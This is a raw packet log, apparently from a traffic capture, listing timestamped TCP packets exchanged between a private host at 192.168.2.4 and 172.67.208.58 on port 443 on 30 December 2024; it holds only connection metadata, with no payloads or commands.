Dec 30, 2024 19:10:31.813765049 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.813796043 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.813824892 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.814220905 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.814237118 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.814285040 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.814289093 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.814342022 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.814367056 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.814419031 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.814423084 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.856247902 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.856281996 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.856368065 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.856368065 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.856376886 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.896682024 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.901026964 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.901041985 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.901084900 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.901091099 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.901134014 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.901266098 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.901282072 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.901300907 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.901304960 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.901314020 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.901350021 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.901670933 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.901694059 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.901725054 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.901727915 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.901753902 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.901781082 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.901876926 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.901894093 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.901985884 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.901985884 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.901989937 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.902029991 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.902200937 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.902215004 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.902271032 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.902276039 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.902404070 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.902764082 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.902787924 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.902847052 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.902851105 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.902940035 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.902959108 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.902997017 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.903002977 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.903037071 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.903059959 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.944844007 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.944864035 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.944901943 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.944909096 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.944936991 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.944950104 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.991035938 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.991051912 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.991111040 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.991123915 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.991152048 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.991166115 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.991168022 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.991177082 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.991199970 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.991228104 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.991430998 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.991463900 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.991492987 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.991497040 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.991513014 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.991528988 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.991590023 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.991624117 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.991656065 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.991660118 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.991684914 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.991695881 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.991909981 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.991929054 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.991970062 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.991975069 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.992000103 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.992017031 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.992302895 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.992316008 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.992367983 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.992372036 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.992399931 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.992409945 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.992592096 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.992618084 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.992652893 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.992656946 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.992683887 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.992706060 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.001876116 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.038059950 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.038081884 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.038175106 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.038184881 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.038249969 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.079478979 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.079498053 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.079570055 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.079576969 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.079735994 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.079801083 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.079822063 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.079859018 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.079863071 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.079890966 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.079910994 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.080075979 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.080096960 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.080128908 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.080132961 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.080158949 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.080177069 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.080394030 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.080414057 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.080447912 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.080451965 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.080476999 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.080497026 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.080668926 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.080701113 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.080732107 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.080735922 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.080765009 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.080773115 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.080981970 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.080997944 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.081038952 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.081058979 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.081063032 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.081104040 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.081132889 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.081377029 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.081396103 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.081459999 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.081465006 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.081515074 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.167963028 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.167982101 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.168019056 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.168024063 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.168051958 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.168059111 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.168339968 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.168375969 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.168405056 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.168407917 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.168433905 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.168452024 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.168564081 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.168576956 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.168612957 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.168617010 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.168646097 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.168658018 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.168889046 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.168901920 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.168953896 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.168957949 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.169193029 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.169219971 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.169234037 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.169271946 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.169275999 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.169301033 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.169306993 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.169513941 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.169528008 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.169572115 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.169578075 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.169608116 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.169615030 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.169723988 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.169735909 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.169785023 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.169789076 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.169863939 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.170041084 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.170057058 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.170104027 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.170109034 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.170150042 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.256644964 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.256680965 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.256699085 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.256705046 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.256732941 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.256741047 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.256900072 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.256912947 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.256951094 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.256954908 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.256985903 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.256994009 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.257242918 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.257261992 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.257297993 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.257302046 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.257328987 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.257337093 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.257466078 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.257479906 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.257515907 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.257519960 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.257548094 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.257566929 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.257811069 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.257838964 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.257850885 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.257903099 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.257906914 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.257941008 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.258074045 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.258088112 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.258141994 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.258147001 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.258320093 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.258332014 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.258343935 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.258383989 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.258388042 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.258413076 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.258426905 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.258706093 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.258721113 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.258774996 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.258780003 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.259404898 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.345155001 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.345170975 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.345220089 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.345227003 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.345237970 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.345345974 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.345793009 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.345812082 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.345849037 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.345854044 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.345874071 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.345880032 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.346117973 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.346131086 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.346172094 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.346174955 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.346184015 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.346210003 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.346211910 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.346220970 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.346249104 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.346261978 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.346266985 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.346285105 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.346297979 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.346391916 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.346404076 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.346435070 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.346437931 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.346461058 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.346461058 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.346767902 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.346781969 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.346823931 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.346827984 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.346854925 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.346868038 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.346997976 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.347042084 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.347049952 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.347062111 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.347065926 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.347095013 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.347100973 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.347276926 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.347290039 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.347331047 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.347335100 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.347484112 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.433829069 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.433868885 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.433892012 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.433898926 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.433932066 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.433948040 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.434397936 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.434412003 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.434453011 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.434458017 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.434474945 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.434535027 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.434611082 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.434623957 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.434663057 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.434667110 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.434695005 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.434710026 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.435018063 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.435033083 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.435070992 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.435074091 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.435106039 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.435113907 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.435225010 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.435237885 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.435280085 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.435282946 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.435314894 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.435322046 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.435462952 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.435478926 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.435522079 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.435525894 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.435558081 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.435576916 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.435880899 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.435897112 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.435935020 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.435937881 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.435962915 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.435980082 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.436016083 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.436033964 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.436069012 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.436072111 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.436096907 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.436114073 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.522469044 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.522485018 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:32.522536993 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:32.522558928 CET	443	49746	172.67.208.58	192.168.2.4
